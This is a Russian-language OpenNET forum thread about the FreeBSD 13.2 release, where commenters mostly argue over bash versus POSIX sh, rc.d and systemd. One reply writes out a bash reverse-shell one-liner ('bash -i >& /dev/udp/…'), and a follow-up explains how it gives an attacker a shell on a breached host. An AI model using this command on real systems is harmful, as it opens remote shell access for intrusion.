The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard, opennews (??), 11-Апр-23, (0) [смотреть все]

Сообщения [Сортировка по времени | RSS]


14. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  –12 +/
Сообщение от Батя на помидорах (?), 11-Апр-23, 11:45 
systemd уже портировали? Или всё на баш-портянках сидят как деды? Деды терпели и нам велели.
Ответить | Правка | Наверх | Cообщить модератору

33. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +6 +/
Сообщение от abi (?), 11-Апр-23, 13:36 
BSD никогда не сидел на баш-портянках, там rc.d. Лапчатые сидели, для их systemD был избавлением.
Ответить | Правка | Наверх | Cообщить модератору

73. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (73), 11-Апр-23, 16:28 
BSD всегда сидел на sh портянках, сути это не меняет.
Ответить | Правка | Наверх | Cообщить модератору

44. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Аноним (44), 11-Апр-23, 14:54 
баш портянки у вас в линуксах, тут же нормальный POSIX Bourne Shell без башизмов в скриптах.
Ответить | Правка | К родителю #14 | Наверх | Cообщить модератору

47. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (6), 11-Апр-23, 15:02 
И таки чем башизмы так плохи, если ими пользуются там где есть баш?
Ответить | Правка | Наверх | Cообщить модератору

72. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от 1 (??), 11-Апр-23, 16:07 
нет баша - нет башизмов же !

В dash я башизмов не нашёл.

Ответить | Правка | Наверх | Cообщить модератору

94. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (32), 11-Апр-23, 19:40 
Зато Bourne Shell-фашизм.
Ответить | Правка | Наверх | Cообщить модератору

88. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от OpenEcho (?), 11-Апр-23, 19:30 
> И таки чем башизмы так плохи, если ими пользуются там где есть баш?

bash -i >& /dev/udp/8.8.8.8/1337 0>&1

Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

208. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 14:58 
О да, а теперь попробуйте так с другим шелом. Если вы хотели сказать что от невозможности это делать секурити повышается, это врядли: позовет вредный скрипт какую-то программу и через нее данные скинет/получит, какая разница. Просто чуть неудобнее. Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.
Ответить | Правка | Наверх | Cообщить модератору

232. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от OpenEcho (?), 12-Апр-23, 21:05 
> Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.

Причем тут скрипты, если баш а также его друг gawk для всех 755, то не надо никаких скриптов вообще чтоб быстро и просто сделать реверсе шелл на машину где нашли дыру и все что надо сделать чтоб подключится с коmфортом - это наличие /bin/bash


Ответить | Правка | Наверх | Cообщить модератору

246. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (-), 13-Апр-23, 09:48 
> надо сделать чтоб подключится с коmфортом - это наличие /bin/bash

Вы так говорите как будто без баша атакующий обломается. Вообще, использование именно баш в качестве именно реверс шелла далеко не самый массовый вариант как это делается.

И если уж предъявлять что-то такое то скорее вон тем, которые по DHCP рут раздавали. Но там претензия в целом к скриптозамесу который делал что-то неадекватное передавая кучу параметров исходящих из внешнего мира через скриптоту, что вообще совсем не безопасно.

Ответить | Правка | Наверх | Cообщить модератору

118. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от fumanchez (ok), 11-Апр-23, 22:09 
bash не дает каких-то киллер фич, чтобы его брать заместо позиксного sh, ломая тем самым совместимость
Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

125. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от _ (??), 12-Апр-23, 00:45 
"ПионЭры! Идите в ..."(С) Фаина наше всио Раневская

Я вот (в отличии от тебя) на реальных биг-айрон униках работал, и чем баш хуже - не вижу.
Он _был_ хуже тем, что такие как ты в писали на баше, а в шебанг лепили борна :)

PS: А теперь - наборот :)

Ответить | Правка | Наверх | Cообщить модератору

219. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Чукча (?), 12-Апр-23, 16:58 
Может получение фрагмента строки и замена подстроки эти самые фичи?
Ответить | Правка | К родителю #118 | Наверх | Cообщить модератору

231. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от fumanchez (ok), 12-Апр-23, 19:35 
В sh есть удаление префиксов и суффиксов, вместо которых обычно вставляют другой, и этого достаточно, чтобы, например, подставить другое расширение файлу или поменять /usr на /usr/local. Ну а более сложные подстановки делаются через пайп в sed.
Ответить | Правка | Наверх | Cообщить модератору

344. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Sem (??), 15-Апр-23, 04:21 
> bash не дает каких-то киллер фич

Массивы?

Ответить | Правка | К родителю #118 | Наверх | Cообщить модератору

347. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от fumanchez (ok), 15-Апр-23, 11:21 
И чем for по массиву отличается от for по разделенным пробелом или другим IFS словам? Другие программы также на выходе никаких массивов не дают и в качестве аргументов их не принимают - шелл это про текст и его интерпретацию.
Ответить | Правка | Наверх | Cообщить модератору

397. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (397), 16-Апр-23, 23:44 
У меня пробелы в значениях.
Ответить | Правка | Наверх | Cообщить модератору

399. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от fumanchez (ok), 17-Апр-23, 00:18 
Заключай значения в кавычки, экранируй пробелы, используй другой IFS. В bash это работает абсолютно так же.
Ответить | Правка | Наверх | Cообщить модератору

135. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Ivan_83 (ok), 12-Апр-23, 05:15 
Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.
Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

142. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 05:58 
> Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.

Установить bash можно под почти что угодно напоминающее позиксную операционку.

Ответить | Правка | Наверх | Cообщить модератору

174. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Ivan_83 (ok), 12-Апр-23, 08:21 
Установить может и можно, но смысла нет.
Проще сразу написать скрипт который будет работать везде.
Ответить | Правка | Наверх | Cообщить модератору

207. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 14:52 
> Установить может и можно, но смысла нет.
> Проще сразу написать скрипт который будет работать везде.

Кому как. В баше есть удобные плюшки и с точки зрения кодинга удобно ими попользоваться. И если кому скрипт нужен, поставят баш, не развалятся. А развалятся - значит им не очень надо было. Если они денег не платили то и фиг с ними и их причудами.

В стартовых скриптах оно конечно нафиг не. Там вообще системд так то поприятней смотрится. Потому что гораздо лучше когда это конфигурация а не логика. Избавляет от нужды в чужие художества лишний раз смотреть.

Ответить | Правка | Наверх | Cообщить модератору

365. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от _ (??), 15-Апр-23, 18:43 
> Установить может и можно, но смысла нет.

потому что в 2023-ем если в системе есть шелл - то это скоее всего баш. ТЧК.

Ответить | Правка | Наверх | Cообщить модератору

77. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  –1 +/
Сообщение от Аноним (397), 11-Апр-23, 17:10 
> POSIX Bourne Shell без башизмов в скриптах

Это как гордиться лишней хромосомой. Баш потому и появился, что на POSIX Shell любой нетривиальный скрипт превращается в портянку.

Ответить | Правка | К родителю #44 | Наверх | Cообщить модератору

126. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  –2 +/
Сообщение от _ (??), 12-Апр-23, 00:50 
Ну предположим. И как переуспел баш то в этом благородном деле? Ржунимагу :)

Как говорил один умный человек, на этом же ресурсе - да, но мнооого лет назад, когда тут такой зверь ещё водился - так вот "Если твой скрипт занимает больше [пары] экрана[ов] - перепиши на ЯП"

И скажи что был не прав :)

Ответить | Правка | Наверх | Cообщить модератору

144. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 06:01 
> Ну предположим. И как переуспел баш то в этом благородном деле?

В нем есть достаточно мощные расширения синтаксиса позволяющие делать некоторые вещи менее мерзко и без огромного спагетти-кода.

Ответить | Правка | Наверх | Cообщить модератору

160. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от _ (??), 12-Апр-23, 07:10 
Но мерзкого-спагетти кода меньше не стало :)
Самый жЫр что оно в систембуЭ даже прокралось, хотя поцанчик обещал ни сантиметра вЪ :)))
Ответить | Правка | Наверх | Cообщить модератору

209. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 15:03 
> Но мерзкого-спагетти кода меньше не стало :)

Системд довольно нехило это пролечил.

> Самый жЫр что оно в систембуЭ даже прокралось, хотя поцанчик обещал ни сантиметра вЪ :)))

Да как сказать? Поскольку креативить стало чуть менее удобно, а типовые сценарии разруливаются самим системд, вообще, нехило полегчало. Хотя конечно отдельные рожи даже так ухитряются креатив сомнительной степени кривизны протолкать, ведь запустить шелл и скрипт им из юнита системды можно, если очень хочется.

Ответить | Правка | Наверх | Cообщить модератору

220. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Чукча (?), 12-Апр-23, 17:02 
Зачем ЯП, если можно в source или "."?
Ответить | Правка | К родителю #126 | Наверх | Cообщить модератору

129. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от fumanchez (ok), 12-Апр-23, 01:23 
Ну стали жаловаться на баш-портянки, и что принципиально изменилось?
Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

161. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от _ (??), 12-Апр-23, 07:13 
А ты чё это недостаточно бодро хвалишь господина Кц? Щас кто нить на капу нажмёт :)
Ответить | Правка | Наверх | Cообщить модератору

292. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Аноним (292), 14-Апр-23, 09:42 
Ну вот только bsd-шники на POSIX sh смогли сделать нормальный rc.d с выносом всего общего кода в стандартную библиотеку, а линуксоиды (не все, но тот же Debian яркий пример) продолжали копипастить портянки однотипного кода в каждый инит-скрипт.

Может, дело не в баше?

Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

85. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +2 +/
Сообщение от Аноним (85), 11-Апр-23, 18:35 
Попробуй уменьшить частоту процессора и объем оперативной памяти в полтора-два раза. Будет похоже, как будто у тебя systemd. Как раз то, что тебе и нужно.
Ответить | Правка | К родителю #14 | Наверх | Cообщить модератору

145. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 06:05 
Это вообще дикий гон - системд потребляет 5 мегабайт памяти и 0% проца, прекрасно работая даже на первой малинке. И стартует это уж всяко быстрее скриптоты, где оверхед от интерпретатора при старте пачки сервисов - большая часть времени в процессе старта. Да и конфиг без кода с чисто параметрическим описанием все же лучше, нет сюрпризов и художеств. А если сильно надо - скрипт можно и вызвать.

Но вы погодите, когда вас последние энтерпрайзы за такое управление системы отправят на мороз, ваши девы тоже начнут догадываться в чем дело. Или останутся вообще совсем без донатов.

Ответить | Правка | Наверх | Cообщить модератору

284. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (85), 14-Апр-23, 03:02 
Верим, верим... всему, особенно про "легковесность" systemd
То-то я смотрю из легковесных дистрибутивов systemd выпиливают. Просто так, наверное...
Ответить | Правка | Наверх | Cообщить модератору

302. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (-), 14-Апр-23, 12:38 
> Верим, верим... всему, особенно про "легковесность" systemd

Ваши верования ортогональны тому у кого low end одноплатников больше чем у дypaка фантиков. И да, там волнует потребление ресурсов, часть совсем low end модели (не предел мечтаний, зато всего 10 баксов за юнит!). Есть даже парочка совсем мусорных по современным понятиям железок с ARMv5 и 128 мегов оперативы, доставшихся нахаляву. Системде и там не жмет. Его не видно на радарах даже на этом.

> То-то я смотрю из легковесных дистрибутивов systemd выпиливают. Просто так, наверное...

Единственное место которое я видел где это технически обосновано - openwrt, системд сложно в 8 мегов флеша загнать. Но в openwrt господа вообще сделали, а хотя бы и из шелскриптов, нечто еще более жесткое: там еще и конфиги программ писать нини! Надо их ГЕНЕРИТЬ по параметрам из UCI - и поттеринг на фоне таких идей так, мелкий невинный шутник. Молитесь чтобы он ЭТО не увидел ненароком...

Ответить | Правка | Наверх | Cообщить модератору

315. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (85), 14-Апр-23, 14:33 
Из твоего мутного потока здесь и ниже явно просматривается один-единственный факт: systemd — это скорее религия, нежели инструмент.
Все эти запугивания, отсылки к высшим силам — это всё оттуда.

Есть куча множество UNIX-like систем, где обходятся без systemd. И они вполне себе продаются.

Ответить | Правка | К родителю #145 | Наверх | Cообщить модератору

363. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (-), 15-Апр-23, 17:09 
> Из твоего мутного потока здесь и ниже явно просматривается один-единственный факт: systemd
> — это скорее религия, нежели инструмент.

Это ж какое просветленное сознание надо было иметь чтобы в вон том увидеть вот это? На самом деде я против откровенно технически некорректных ремарок. Если вы думаете что врать с три короба это офигенный способ делать опенсорс, удачи вам но у меня иные идеи на этот счет.

> Все эти запугивания, отсылки к высшим силам — это всё оттуда.

Это про отправят на мороз? Судя по соседним новостям это уже происходит. Как капитанинг может быть "угрозой"? Не понимаю.

> и высшие силы?

А высшие силы это кто? Корпы? Вы вообше всегда пытались к ним подмазаться, начиная с лицензии. Но вы им становитесь не нужны уже даже и там, о чем соседняя новость, например.

> Есть куча множество UNIX-like систем, где обходятся без systemd. И они вполне
> себе продаются.

Ну как бы удачи вам в продажах, ведении бизнеса и всем таком прочем.

Ответить | Правка | Наверх | Cообщить модератору

389. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (-), 16-Апр-23, 07:08 
Для начала поведай нам, кто ты такой, почему мы должны тебе верить?
Что ты за такая авторитетная личность?

И второй вопрос: почему ради твоего успокоения надо выбрасывать то, что неплохо пока работает?

Ответить | Правка | Наверх | Cообщить модератору

401. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Аноним (-), 17-Апр-23, 16:18 
> Для начала поведай нам, кто ты такой, почему мы должны тебе верить?
> Что ты за такая авторитетная личность?

Я лишь предлагаю точку зрения и как правило могу ее обосновать. Соглашаться или нет - личное дело каждого. Вот так просто и банально.

> И второй вопрос: почему ради твоего успокоения надо выбрасывать то, что неплохо
> пока работает?

Обычно это случается по соображениям эффективности и отсутствия технических и человеческих эксплуатационных проблем.

Ответить | Правка | Наверх | Cообщить модератору

141. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от EULA (?), 12-Апр-23, 05:56 
Леонард SystemD портирует в MS Windows.
Ответить | Правка | К родителю #14 | Наверх | Cообщить модератору

221. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Чукча (?), 12-Апр-23, 17:06 
Мастер, поведай детали!
Ответить | Правка | Наверх | Cообщить модератору

238. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от EULA (?), 13-Апр-23, 05:21 
> Мастер, поведай детали!

https://devblogs.microsoft.com/commandline/systemd-support-i.../

Ответить | Правка | Наверх | Cообщить модератору

172. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Алексей (??), 12-Апр-23, 08:18 
Ниасиляторы системда тебя заминусовали
Ответить | Правка | К родителю #14 | Наверх | Cообщить модератору

288. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Аноним (85), 14-Апр-23, 03:17 
Дело не в том, что он сложный. а в том, что его функции в 99% нафиг не нужны. Это как развозить молоко на бульдозере — в принципе можно использовать, но как-то не очень хочется.
Ответить | Правка | Наверх | Cообщить модератору

314. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (-), 14-Апр-23, 14:33 
> Дело не в том, что он сложный. а в том, что его
> функции в 99% нафиг не нужны. Это как развозить молоко на
> бульдозере — в принципе можно использовать, но как-то не очень хочется.

Кому не нужны тем и карты в руки. А мне вот например возможность изолировать сервисы от системы без гимора, авторестартить их, прописывать по людски ключевые параметры их запуска и проч в лаконичном виде и проч - вполне себе. И многими из этих фич я еще и пользуюсь. Поэтому имею кое-что против типов говорящих "нафиг не нужны". Поэтому и пользуюсь линем. Хоть начинал вот именно с фри, но потом случайно заметил что управление серверами сильно менее мучительно и канительно если вместо нее линукс ставить. А потом... это был длинный путь но я стал весьма продвинут в технологиях которые я применяю.

Ответить | Правка | Наверх | Cообщить модератору

385. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +2 +/
Сообщение от Аноним (85), 16-Апр-23, 02:06 
Цитата: "...но я стал весьма продвинут в технологиях которые я применяю."

Ну да, ну да... "сам себя не похвалишь — весь день как оплеванный". Собственно это всегда и выдает ламера.

Ответить | Правка | Наверх | Cообщить модератору

402. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (-), 17-Апр-23, 16:19 
> Ну да, ну да... "сам себя не похвалишь — весь день как
> оплеванный". Собственно это всегда и выдает ламера.

Не, это смотрение на себя и свои возможности и скиллы эн лет назад. И только. Если я вижу улучшения и могу найти отличия в лучшую сторону - значит направление взято верно.

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру